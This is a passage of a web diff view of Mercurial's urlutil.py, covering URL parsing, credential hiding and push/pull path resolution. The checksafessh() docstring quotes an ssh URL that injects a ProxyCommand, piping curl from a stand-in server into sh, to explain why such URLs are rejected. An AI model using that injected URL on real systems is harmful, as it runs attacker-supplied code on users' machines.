##// END OF EJS Templates
urlutil: drop the deprecated `getpath()`...
Matt Harbison -
r50739:a9602a84 default
parent child Browse files
Show More
@@ -1,997 +1,960
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2022 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2022 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23 from . import (
23 from . import (
24 stringutil,
24 stringutil,
25 )
25 )
26
26
27 from ..revlogutils import (
27 from ..revlogutils import (
28 constants as revlog_constants,
28 constants as revlog_constants,
29 )
29 )
30
30
31
31
32 if pycompat.TYPE_CHECKING:
32 if pycompat.TYPE_CHECKING:
33 from typing import (
33 from typing import (
34 Union,
34 Union,
35 )
35 )
36
36
37 urlreq = urllibcompat.urlreq
37 urlreq = urllibcompat.urlreq
38
38
39
39
40 def getport(port):
40 def getport(port):
41 # type: (Union[bytes, int]) -> int
41 # type: (Union[bytes, int]) -> int
42 """Return the port for a given network service.
42 """Return the port for a given network service.
43
43
44 If port is an integer, it's returned as is. If it's a string, it's
44 If port is an integer, it's returned as is. If it's a string, it's
45 looked up using socket.getservbyname(). If there's no matching
45 looked up using socket.getservbyname(). If there's no matching
46 service, error.Abort is raised.
46 service, error.Abort is raised.
47 """
47 """
48 try:
48 try:
49 return int(port)
49 return int(port)
50 except ValueError:
50 except ValueError:
51 pass
51 pass
52
52
53 try:
53 try:
54 return socket.getservbyname(pycompat.sysstr(port))
54 return socket.getservbyname(pycompat.sysstr(port))
55 except socket.error:
55 except socket.error:
56 raise error.Abort(
56 raise error.Abort(
57 _(b"no port number associated with service '%s'") % port
57 _(b"no port number associated with service '%s'") % port
58 )
58 )
59
59
60
60
61 class url:
61 class url:
62 r"""Reliable URL parser.
62 r"""Reliable URL parser.
63
63
64 This parses URLs and provides attributes for the following
64 This parses URLs and provides attributes for the following
65 components:
65 components:
66
66
67 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
67 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
68
68
69 Missing components are set to None. The only exception is
69 Missing components are set to None. The only exception is
70 fragment, which is set to '' if present but empty.
70 fragment, which is set to '' if present but empty.
71
71
72 If parsefragment is False, fragment is included in query. If
72 If parsefragment is False, fragment is included in query. If
73 parsequery is False, query is included in path. If both are
73 parsequery is False, query is included in path. If both are
74 False, both fragment and query are included in path.
74 False, both fragment and query are included in path.
75
75
76 See http://www.ietf.org/rfc/rfc2396.txt for more information.
76 See http://www.ietf.org/rfc/rfc2396.txt for more information.
77
77
78 Note that for backward compatibility reasons, bundle URLs do not
78 Note that for backward compatibility reasons, bundle URLs do not
79 take host names. That means 'bundle://../' has a path of '../'.
79 take host names. That means 'bundle://../' has a path of '../'.
80
80
81 Examples:
81 Examples:
82
82
83 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
83 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
84 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
84 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
85 >>> url(b'ssh://[::1]:2200//home/joe/repo')
85 >>> url(b'ssh://[::1]:2200//home/joe/repo')
86 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
86 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
87 >>> url(b'file:///home/joe/repo')
87 >>> url(b'file:///home/joe/repo')
88 <url scheme: 'file', path: '/home/joe/repo'>
88 <url scheme: 'file', path: '/home/joe/repo'>
89 >>> url(b'file:///c:/temp/foo/')
89 >>> url(b'file:///c:/temp/foo/')
90 <url scheme: 'file', path: 'c:/temp/foo/'>
90 <url scheme: 'file', path: 'c:/temp/foo/'>
91 >>> url(b'bundle:foo')
91 >>> url(b'bundle:foo')
92 <url scheme: 'bundle', path: 'foo'>
92 <url scheme: 'bundle', path: 'foo'>
93 >>> url(b'bundle://../foo')
93 >>> url(b'bundle://../foo')
94 <url scheme: 'bundle', path: '../foo'>
94 <url scheme: 'bundle', path: '../foo'>
95 >>> url(br'c:\foo\bar')
95 >>> url(br'c:\foo\bar')
96 <url path: 'c:\\foo\\bar'>
96 <url path: 'c:\\foo\\bar'>
97 >>> url(br'\\blah\blah\blah')
97 >>> url(br'\\blah\blah\blah')
98 <url path: '\\\\blah\\blah\\blah'>
98 <url path: '\\\\blah\\blah\\blah'>
99 >>> url(br'\\blah\blah\blah#baz')
99 >>> url(br'\\blah\blah\blah#baz')
100 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
100 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
101 >>> url(br'file:///C:\users\me')
101 >>> url(br'file:///C:\users\me')
102 <url scheme: 'file', path: 'C:\\users\\me'>
102 <url scheme: 'file', path: 'C:\\users\\me'>
103
103
104 Authentication credentials:
104 Authentication credentials:
105
105
106 >>> url(b'ssh://joe:xyz@x/repo')
106 >>> url(b'ssh://joe:xyz@x/repo')
107 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
107 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
108 >>> url(b'ssh://joe@x/repo')
108 >>> url(b'ssh://joe@x/repo')
109 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
109 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
110
110
111 Query strings and fragments:
111 Query strings and fragments:
112
112
113 >>> url(b'http://host/a?b#c')
113 >>> url(b'http://host/a?b#c')
114 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
114 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
115 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
115 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
116 <url scheme: 'http', host: 'host', path: 'a?b#c'>
116 <url scheme: 'http', host: 'host', path: 'a?b#c'>
117
117
118 Empty path:
118 Empty path:
119
119
120 >>> url(b'')
120 >>> url(b'')
121 <url path: ''>
121 <url path: ''>
122 >>> url(b'#a')
122 >>> url(b'#a')
123 <url path: '', fragment: 'a'>
123 <url path: '', fragment: 'a'>
124 >>> url(b'http://host/')
124 >>> url(b'http://host/')
125 <url scheme: 'http', host: 'host', path: ''>
125 <url scheme: 'http', host: 'host', path: ''>
126 >>> url(b'http://host/#a')
126 >>> url(b'http://host/#a')
127 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
127 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
128
128
129 Only scheme:
129 Only scheme:
130
130
131 >>> url(b'http:')
131 >>> url(b'http:')
132 <url scheme: 'http'>
132 <url scheme: 'http'>
133 """
133 """
134
134
135 _safechars = b"!~*'()+"
135 _safechars = b"!~*'()+"
136 _safepchars = b"/!~*'()+:\\"
136 _safepchars = b"/!~*'()+:\\"
137 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
137 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
138
138
139 def __init__(self, path, parsequery=True, parsefragment=True):
139 def __init__(self, path, parsequery=True, parsefragment=True):
140 # type: (bytes, bool, bool) -> None
140 # type: (bytes, bool, bool) -> None
141 # We slowly chomp away at path until we have only the path left
141 # We slowly chomp away at path until we have only the path left
142 self.scheme = self.user = self.passwd = self.host = None
142 self.scheme = self.user = self.passwd = self.host = None
143 self.port = self.path = self.query = self.fragment = None
143 self.port = self.path = self.query = self.fragment = None
144 self._localpath = True
144 self._localpath = True
145 self._hostport = b''
145 self._hostport = b''
146 self._origpath = path
146 self._origpath = path
147
147
148 if parsefragment and b'#' in path:
148 if parsefragment and b'#' in path:
149 path, self.fragment = path.split(b'#', 1)
149 path, self.fragment = path.split(b'#', 1)
150
150
151 # special case for Windows drive letters and UNC paths
151 # special case for Windows drive letters and UNC paths
152 if hasdriveletter(path) or path.startswith(b'\\\\'):
152 if hasdriveletter(path) or path.startswith(b'\\\\'):
153 self.path = path
153 self.path = path
154 return
154 return
155
155
156 # For compatibility reasons, we can't handle bundle paths as
156 # For compatibility reasons, we can't handle bundle paths as
157 # normal URLS
157 # normal URLS
158 if path.startswith(b'bundle:'):
158 if path.startswith(b'bundle:'):
159 self.scheme = b'bundle'
159 self.scheme = b'bundle'
160 path = path[7:]
160 path = path[7:]
161 if path.startswith(b'//'):
161 if path.startswith(b'//'):
162 path = path[2:]
162 path = path[2:]
163 self.path = path
163 self.path = path
164 return
164 return
165
165
166 if self._matchscheme(path):
166 if self._matchscheme(path):
167 parts = path.split(b':', 1)
167 parts = path.split(b':', 1)
168 if parts[0]:
168 if parts[0]:
169 self.scheme, path = parts
169 self.scheme, path = parts
170 self._localpath = False
170 self._localpath = False
171
171
172 if not path:
172 if not path:
173 path = None
173 path = None
174 if self._localpath:
174 if self._localpath:
175 self.path = b''
175 self.path = b''
176 return
176 return
177 else:
177 else:
178 if self._localpath:
178 if self._localpath:
179 self.path = path
179 self.path = path
180 return
180 return
181
181
182 if parsequery and b'?' in path:
182 if parsequery and b'?' in path:
183 path, self.query = path.split(b'?', 1)
183 path, self.query = path.split(b'?', 1)
184 if not path:
184 if not path:
185 path = None
185 path = None
186 if not self.query:
186 if not self.query:
187 self.query = None
187 self.query = None
188
188
189 # // is required to specify a host/authority
189 # // is required to specify a host/authority
190 if path and path.startswith(b'//'):
190 if path and path.startswith(b'//'):
191 parts = path[2:].split(b'/', 1)
191 parts = path[2:].split(b'/', 1)
192 if len(parts) > 1:
192 if len(parts) > 1:
193 self.host, path = parts
193 self.host, path = parts
194 else:
194 else:
195 self.host = parts[0]
195 self.host = parts[0]
196 path = None
196 path = None
197 if not self.host:
197 if not self.host:
198 self.host = None
198 self.host = None
199 # path of file:///d is /d
199 # path of file:///d is /d
200 # path of file:///d:/ is d:/, not /d:/
200 # path of file:///d:/ is d:/, not /d:/
201 if path and not hasdriveletter(path):
201 if path and not hasdriveletter(path):
202 path = b'/' + path
202 path = b'/' + path
203
203
204 if self.host and b'@' in self.host:
204 if self.host and b'@' in self.host:
205 self.user, self.host = self.host.rsplit(b'@', 1)
205 self.user, self.host = self.host.rsplit(b'@', 1)
206 if b':' in self.user:
206 if b':' in self.user:
207 self.user, self.passwd = self.user.split(b':', 1)
207 self.user, self.passwd = self.user.split(b':', 1)
208 if not self.host:
208 if not self.host:
209 self.host = None
209 self.host = None
210
210
211 # Don't split on colons in IPv6 addresses without ports
211 # Don't split on colons in IPv6 addresses without ports
212 if (
212 if (
213 self.host
213 self.host
214 and b':' in self.host
214 and b':' in self.host
215 and not (
215 and not (
216 self.host.startswith(b'[') and self.host.endswith(b']')
216 self.host.startswith(b'[') and self.host.endswith(b']')
217 )
217 )
218 ):
218 ):
219 self._hostport = self.host
219 self._hostport = self.host
220 self.host, self.port = self.host.rsplit(b':', 1)
220 self.host, self.port = self.host.rsplit(b':', 1)
221 if not self.host:
221 if not self.host:
222 self.host = None
222 self.host = None
223
223
224 if (
224 if (
225 self.host
225 self.host
226 and self.scheme == b'file'
226 and self.scheme == b'file'
227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
228 ):
228 ):
229 raise error.Abort(
229 raise error.Abort(
230 _(b'file:// URLs can only refer to localhost')
230 _(b'file:// URLs can only refer to localhost')
231 )
231 )
232
232
233 self.path = path
233 self.path = path
234
234
235 # leave the query string escaped
235 # leave the query string escaped
236 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
236 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
237 v = getattr(self, a)
237 v = getattr(self, a)
238 if v is not None:
238 if v is not None:
239 setattr(self, a, urlreq.unquote(v))
239 setattr(self, a, urlreq.unquote(v))
240
240
241 def copy(self):
241 def copy(self):
242 u = url(b'temporary useless value')
242 u = url(b'temporary useless value')
243 u.path = self.path
243 u.path = self.path
244 u.scheme = self.scheme
244 u.scheme = self.scheme
245 u.user = self.user
245 u.user = self.user
246 u.passwd = self.passwd
246 u.passwd = self.passwd
247 u.host = self.host
247 u.host = self.host
248 u.port = self.port
248 u.port = self.port
249 u.query = self.query
249 u.query = self.query
250 u.fragment = self.fragment
250 u.fragment = self.fragment
251 u._localpath = self._localpath
251 u._localpath = self._localpath
252 u._hostport = self._hostport
252 u._hostport = self._hostport
253 u._origpath = self._origpath
253 u._origpath = self._origpath
254 return u
254 return u
255
255
256 @encoding.strmethod
256 @encoding.strmethod
257 def __repr__(self):
257 def __repr__(self):
258 attrs = []
258 attrs = []
259 for a in (
259 for a in (
260 b'scheme',
260 b'scheme',
261 b'user',
261 b'user',
262 b'passwd',
262 b'passwd',
263 b'host',
263 b'host',
264 b'port',
264 b'port',
265 b'path',
265 b'path',
266 b'query',
266 b'query',
267 b'fragment',
267 b'fragment',
268 ):
268 ):
269 v = getattr(self, a)
269 v = getattr(self, a)
270 if v is not None:
270 if v is not None:
271 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
271 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
272 return b'<url %s>' % b', '.join(attrs)
272 return b'<url %s>' % b', '.join(attrs)
273
273
274 def __bytes__(self):
274 def __bytes__(self):
275 r"""Join the URL's components back into a URL string.
275 r"""Join the URL's components back into a URL string.
276
276
277 Examples:
277 Examples:
278
278
279 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
279 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
280 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
280 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
281 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
281 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
282 'http://user:pw@host:80/?foo=bar&baz=42'
282 'http://user:pw@host:80/?foo=bar&baz=42'
283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
284 'http://user:pw@host:80/?foo=bar%3dbaz'
284 'http://user:pw@host:80/?foo=bar%3dbaz'
285 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
285 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
286 'ssh://user:pw@[::1]:2200//home/joe#'
286 'ssh://user:pw@[::1]:2200//home/joe#'
287 >>> bytes(url(b'http://localhost:80//'))
287 >>> bytes(url(b'http://localhost:80//'))
288 'http://localhost:80//'
288 'http://localhost:80//'
289 >>> bytes(url(b'http://localhost:80/'))
289 >>> bytes(url(b'http://localhost:80/'))
290 'http://localhost:80/'
290 'http://localhost:80/'
291 >>> bytes(url(b'http://localhost:80'))
291 >>> bytes(url(b'http://localhost:80'))
292 'http://localhost:80/'
292 'http://localhost:80/'
293 >>> bytes(url(b'bundle:foo'))
293 >>> bytes(url(b'bundle:foo'))
294 'bundle:foo'
294 'bundle:foo'
295 >>> bytes(url(b'bundle://../foo'))
295 >>> bytes(url(b'bundle://../foo'))
296 'bundle:../foo'
296 'bundle:../foo'
297 >>> bytes(url(b'path'))
297 >>> bytes(url(b'path'))
298 'path'
298 'path'
299 >>> bytes(url(b'file:///tmp/foo/bar'))
299 >>> bytes(url(b'file:///tmp/foo/bar'))
300 'file:///tmp/foo/bar'
300 'file:///tmp/foo/bar'
301 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
301 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
302 'file:///c:/tmp/foo/bar'
302 'file:///c:/tmp/foo/bar'
303 >>> print(url(br'bundle:foo\bar'))
303 >>> print(url(br'bundle:foo\bar'))
304 bundle:foo\bar
304 bundle:foo\bar
305 >>> print(url(br'file:///D:\data\hg'))
305 >>> print(url(br'file:///D:\data\hg'))
306 file:///D:\data\hg
306 file:///D:\data\hg
307 """
307 """
308 if self._localpath:
308 if self._localpath:
309 s = self.path
309 s = self.path
310 if self.scheme == b'bundle':
310 if self.scheme == b'bundle':
311 s = b'bundle:' + s
311 s = b'bundle:' + s
312 if self.fragment:
312 if self.fragment:
313 s += b'#' + self.fragment
313 s += b'#' + self.fragment
314 return s
314 return s
315
315
316 s = self.scheme + b':'
316 s = self.scheme + b':'
317 if self.user or self.passwd or self.host:
317 if self.user or self.passwd or self.host:
318 s += b'//'
318 s += b'//'
319 elif self.scheme and (
319 elif self.scheme and (
320 not self.path
320 not self.path
321 or self.path.startswith(b'/')
321 or self.path.startswith(b'/')
322 or hasdriveletter(self.path)
322 or hasdriveletter(self.path)
323 ):
323 ):
324 s += b'//'
324 s += b'//'
325 if hasdriveletter(self.path):
325 if hasdriveletter(self.path):
326 s += b'/'
326 s += b'/'
327 if self.user:
327 if self.user:
328 s += urlreq.quote(self.user, safe=self._safechars)
328 s += urlreq.quote(self.user, safe=self._safechars)
329 if self.passwd:
329 if self.passwd:
330 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
330 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
331 if self.user or self.passwd:
331 if self.user or self.passwd:
332 s += b'@'
332 s += b'@'
333 if self.host:
333 if self.host:
334 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
334 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
335 s += urlreq.quote(self.host)
335 s += urlreq.quote(self.host)
336 else:
336 else:
337 s += self.host
337 s += self.host
338 if self.port:
338 if self.port:
339 s += b':' + urlreq.quote(self.port)
339 s += b':' + urlreq.quote(self.port)
340 if self.host:
340 if self.host:
341 s += b'/'
341 s += b'/'
342 if self.path:
342 if self.path:
343 # TODO: similar to the query string, we should not unescape the
343 # TODO: similar to the query string, we should not unescape the
344 # path when we store it, the path might contain '%2f' = '/',
344 # path when we store it, the path might contain '%2f' = '/',
345 # which we should *not* escape.
345 # which we should *not* escape.
346 s += urlreq.quote(self.path, safe=self._safepchars)
346 s += urlreq.quote(self.path, safe=self._safepchars)
347 if self.query:
347 if self.query:
348 # we store the query in escaped form.
348 # we store the query in escaped form.
349 s += b'?' + self.query
349 s += b'?' + self.query
350 if self.fragment is not None:
350 if self.fragment is not None:
351 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
351 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
352 return s
352 return s
353
353
354 __str__ = encoding.strmethod(__bytes__)
354 __str__ = encoding.strmethod(__bytes__)
355
355
356 def authinfo(self):
356 def authinfo(self):
357 user, passwd = self.user, self.passwd
357 user, passwd = self.user, self.passwd
358 try:
358 try:
359 self.user, self.passwd = None, None
359 self.user, self.passwd = None, None
360 s = bytes(self)
360 s = bytes(self)
361 finally:
361 finally:
362 self.user, self.passwd = user, passwd
362 self.user, self.passwd = user, passwd
363 if not self.user:
363 if not self.user:
364 return (s, None)
364 return (s, None)
365 # authinfo[1] is passed to urllib2 password manager, and its
365 # authinfo[1] is passed to urllib2 password manager, and its
366 # URIs must not contain credentials. The host is passed in the
366 # URIs must not contain credentials. The host is passed in the
367 # URIs list because Python < 2.4.3 uses only that to search for
367 # URIs list because Python < 2.4.3 uses only that to search for
368 # a password.
368 # a password.
369 return (s, (None, (s, self.host), self.user, self.passwd or b''))
369 return (s, (None, (s, self.host), self.user, self.passwd or b''))
370
370
371 def isabs(self):
371 def isabs(self):
372 if self.scheme and self.scheme != b'file':
372 if self.scheme and self.scheme != b'file':
373 return True # remote URL
373 return True # remote URL
374 if hasdriveletter(self.path):
374 if hasdriveletter(self.path):
375 return True # absolute for our purposes - can't be joined()
375 return True # absolute for our purposes - can't be joined()
376 if self.path.startswith(br'\\'):
376 if self.path.startswith(br'\\'):
377 return True # Windows UNC path
377 return True # Windows UNC path
378 if self.path.startswith(b'/'):
378 if self.path.startswith(b'/'):
379 return True # POSIX-style
379 return True # POSIX-style
380 return False
380 return False
381
381
382 def localpath(self):
382 def localpath(self):
383 # type: () -> bytes
383 # type: () -> bytes
384 if self.scheme == b'file' or self.scheme == b'bundle':
384 if self.scheme == b'file' or self.scheme == b'bundle':
385 path = self.path or b'/'
385 path = self.path or b'/'
386 # For Windows, we need to promote hosts containing drive
386 # For Windows, we need to promote hosts containing drive
387 # letters to paths with drive letters.
387 # letters to paths with drive letters.
388 if hasdriveletter(self._hostport):
388 if hasdriveletter(self._hostport):
389 path = self._hostport + b'/' + self.path
389 path = self._hostport + b'/' + self.path
390 elif (
390 elif (
391 self.host is not None and self.path and not hasdriveletter(path)
391 self.host is not None and self.path and not hasdriveletter(path)
392 ):
392 ):
393 path = b'/' + path
393 path = b'/' + path
394 return path
394 return path
395 return self._origpath
395 return self._origpath
396
396
397 def islocal(self):
397 def islocal(self):
398 '''whether localpath will return something that posixfile can open'''
398 '''whether localpath will return something that posixfile can open'''
399 return (
399 return (
400 not self.scheme
400 not self.scheme
401 or self.scheme == b'file'
401 or self.scheme == b'file'
402 or self.scheme == b'bundle'
402 or self.scheme == b'bundle'
403 )
403 )
404
404
405
405
406 def hasscheme(path):
406 def hasscheme(path):
407 # type: (bytes) -> bool
407 # type: (bytes) -> bool
408 return bool(url(path).scheme) # cast to help pytype
408 return bool(url(path).scheme) # cast to help pytype
409
409
410
410
411 def hasdriveletter(path):
411 def hasdriveletter(path):
412 # type: (bytes) -> bool
412 # type: (bytes) -> bool
413 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
413 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
414
414
415
415
416 def urllocalpath(path):
416 def urllocalpath(path):
417 # type: (bytes) -> bytes
417 # type: (bytes) -> bytes
418 return url(path, parsequery=False, parsefragment=False).localpath()
418 return url(path, parsequery=False, parsefragment=False).localpath()
419
419
420
420
421 def checksafessh(path):
421 def checksafessh(path):
422 # type: (bytes) -> None
422 # type: (bytes) -> None
423 """check if a path / url is a potentially unsafe ssh exploit (SEC)
423 """check if a path / url is a potentially unsafe ssh exploit (SEC)
424
424
425 This is a sanity check for ssh urls. ssh will parse the first item as
425 This is a sanity check for ssh urls. ssh will parse the first item as
426 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
426 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
427 Let's prevent these potentially exploited urls entirely and warn the
427 Let's prevent these potentially exploited urls entirely and warn the
428 user.
428 user.
429
429
430 Raises an error.Abort when the url is unsafe.
430 Raises an error.Abort when the url is unsafe.
431 """
431 """
432 path = urlreq.unquote(path)
432 path = urlreq.unquote(path)
433 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
433 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
434 raise error.Abort(
434 raise error.Abort(
435 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
435 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
436 )
436 )
437
437
438
438
439 def hidepassword(u):
439 def hidepassword(u):
440 # type: (bytes) -> bytes
440 # type: (bytes) -> bytes
441 '''hide user credential in a url string'''
441 '''hide user credential in a url string'''
442 u = url(u)
442 u = url(u)
443 if u.passwd:
443 if u.passwd:
444 u.passwd = b'***'
444 u.passwd = b'***'
445 return bytes(u)
445 return bytes(u)
446
446
447
447
448 def removeauth(u):
448 def removeauth(u):
449 # type: (bytes) -> bytes
449 # type: (bytes) -> bytes
450 '''remove all authentication information from a url string'''
450 '''remove all authentication information from a url string'''
451 u = url(u)
451 u = url(u)
452 u.user = u.passwd = None
452 u.user = u.passwd = None
453 return bytes(u)
453 return bytes(u)
454
454
455
455
456 def list_paths(ui, target_path=None):
456 def list_paths(ui, target_path=None):
457 """list all the (name, paths) in the passed ui"""
457 """list all the (name, paths) in the passed ui"""
458 result = []
458 result = []
459 if target_path is None:
459 if target_path is None:
460 for name, paths in sorted(ui.paths.items()):
460 for name, paths in sorted(ui.paths.items()):
461 for p in paths:
461 for p in paths:
462 result.append((name, p))
462 result.append((name, p))
463
463
464 else:
464 else:
465 for path in ui.paths.get(target_path, []):
465 for path in ui.paths.get(target_path, []):
466 result.append((target_path, path))
466 result.append((target_path, path))
467 return result
467 return result
468
468
469
469
470 def try_path(ui, url):
470 def try_path(ui, url):
471 """try to build a path from a url
471 """try to build a path from a url
472
472
473 Return None if no Path could built.
473 Return None if no Path could built.
474 """
474 """
475 try:
475 try:
476 # we pass the ui instance are warning might need to be issued
476 # we pass the ui instance are warning might need to be issued
477 return path(ui, None, rawloc=url)
477 return path(ui, None, rawloc=url)
478 except ValueError:
478 except ValueError:
479 return None
479 return None
480
480
481
481
482 def get_push_paths(repo, ui, dests):
482 def get_push_paths(repo, ui, dests):
483 """yields all the `path` selected as push destination by `dests`"""
483 """yields all the `path` selected as push destination by `dests`"""
484 if not dests:
484 if not dests:
485 if b'default-push' in ui.paths:
485 if b'default-push' in ui.paths:
486 for p in ui.paths[b'default-push']:
486 for p in ui.paths[b'default-push']:
487 yield p.get_push_variant()
487 yield p.get_push_variant()
488 elif b'default' in ui.paths:
488 elif b'default' in ui.paths:
489 for p in ui.paths[b'default']:
489 for p in ui.paths[b'default']:
490 yield p.get_push_variant()
490 yield p.get_push_variant()
491 else:
491 else:
492 raise error.ConfigError(
492 raise error.ConfigError(
493 _(b'default repository not configured!'),
493 _(b'default repository not configured!'),
494 hint=_(b"see 'hg help config.paths'"),
494 hint=_(b"see 'hg help config.paths'"),
495 )
495 )
496 else:
496 else:
497 for dest in dests:
497 for dest in dests:
498 if dest in ui.paths:
498 if dest in ui.paths:
499 for p in ui.paths[dest]:
499 for p in ui.paths[dest]:
500 yield p.get_push_variant()
500 yield p.get_push_variant()
501 else:
501 else:
502 path = try_path(ui, dest)
502 path = try_path(ui, dest)
503 if path is None:
503 if path is None:
504 msg = _(b'repository %s does not exist')
504 msg = _(b'repository %s does not exist')
505 msg %= dest
505 msg %= dest
506 raise error.RepoError(msg)
506 raise error.RepoError(msg)
507 yield path.get_push_variant()
507 yield path.get_push_variant()
508
508
509
509
510 def get_pull_paths(repo, ui, sources):
510 def get_pull_paths(repo, ui, sources):
511 """yields all the `(path, branch)` selected as pull source by `sources`"""
511 """yields all the `(path, branch)` selected as pull source by `sources`"""
512 if not sources:
512 if not sources:
513 sources = [b'default']
513 sources = [b'default']
514 for source in sources:
514 for source in sources:
515 if source in ui.paths:
515 if source in ui.paths:
516 for p in ui.paths[source]:
516 for p in ui.paths[source]:
517 yield p
517 yield p
518 else:
518 else:
519 p = path(ui, None, source, validate_path=False)
519 p = path(ui, None, source, validate_path=False)
520 yield p
520 yield p
521
521
522
522
523 def get_unique_push_path(action, repo, ui, dest=None):
523 def get_unique_push_path(action, repo, ui, dest=None):
524 """return a unique `path` or abort if multiple are found
524 """return a unique `path` or abort if multiple are found
525
525
526 This is useful for command and action that does not support multiple
526 This is useful for command and action that does not support multiple
527 destination (yet).
527 destination (yet).
528
528
529 The `action` parameter will be used for the error message.
529 The `action` parameter will be used for the error message.
530 """
530 """
531 if dest is None:
531 if dest is None:
532 dests = []
532 dests = []
533 else:
533 else:
534 dests = [dest]
534 dests = [dest]
535 dests = list(get_push_paths(repo, ui, dests))
535 dests = list(get_push_paths(repo, ui, dests))
536 if len(dests) != 1:
536 if len(dests) != 1:
537 if dest is None:
537 if dest is None:
538 msg = _(
538 msg = _(
539 b"default path points to %d urls while %s only supports one"
539 b"default path points to %d urls while %s only supports one"
540 )
540 )
541 msg %= (len(dests), action)
541 msg %= (len(dests), action)
542 else:
542 else:
543 msg = _(b"path points to %d urls while %s only supports one: %s")
543 msg = _(b"path points to %d urls while %s only supports one: %s")
544 msg %= (len(dests), action, dest)
544 msg %= (len(dests), action, dest)
545 raise error.Abort(msg)
545 raise error.Abort(msg)
546 return dests[0]
546 return dests[0]
547
547
548
548
549 def get_unique_pull_path_obj(action, ui, source=None):
549 def get_unique_pull_path_obj(action, ui, source=None):
550 """return a unique `(path, branch)` or abort if multiple are found
550 """return a unique `(path, branch)` or abort if multiple are found
551
551
552 This is useful for command and action that does not support multiple
552 This is useful for command and action that does not support multiple
553 destination (yet).
553 destination (yet).
554
554
555 The `action` parameter will be used for the error message.
555 The `action` parameter will be used for the error message.
556
556
557 note: Ideally, this function would be called `get_unique_pull_path` to
557 note: Ideally, this function would be called `get_unique_pull_path` to
558 mirror the `get_unique_push_path`, but the name was already taken.
558 mirror the `get_unique_push_path`, but the name was already taken.
559 """
559 """
560 sources = []
560 sources = []
561 if source is not None:
561 if source is not None:
562 sources.append(source)
562 sources.append(source)
563
563
564 pull_paths = list(get_pull_paths(None, ui, sources=sources))
564 pull_paths = list(get_pull_paths(None, ui, sources=sources))
565 path_count = len(pull_paths)
565 path_count = len(pull_paths)
566 if path_count != 1:
566 if path_count != 1:
567 if source is None:
567 if source is None:
568 msg = _(
568 msg = _(
569 b"default path points to %d urls while %s only supports one"
569 b"default path points to %d urls while %s only supports one"
570 )
570 )
571 msg %= (path_count, action)
571 msg %= (path_count, action)
572 else:
572 else:
573 msg = _(b"path points to %d urls while %s only supports one: %s")
573 msg = _(b"path points to %d urls while %s only supports one: %s")
574 msg %= (path_count, action, source)
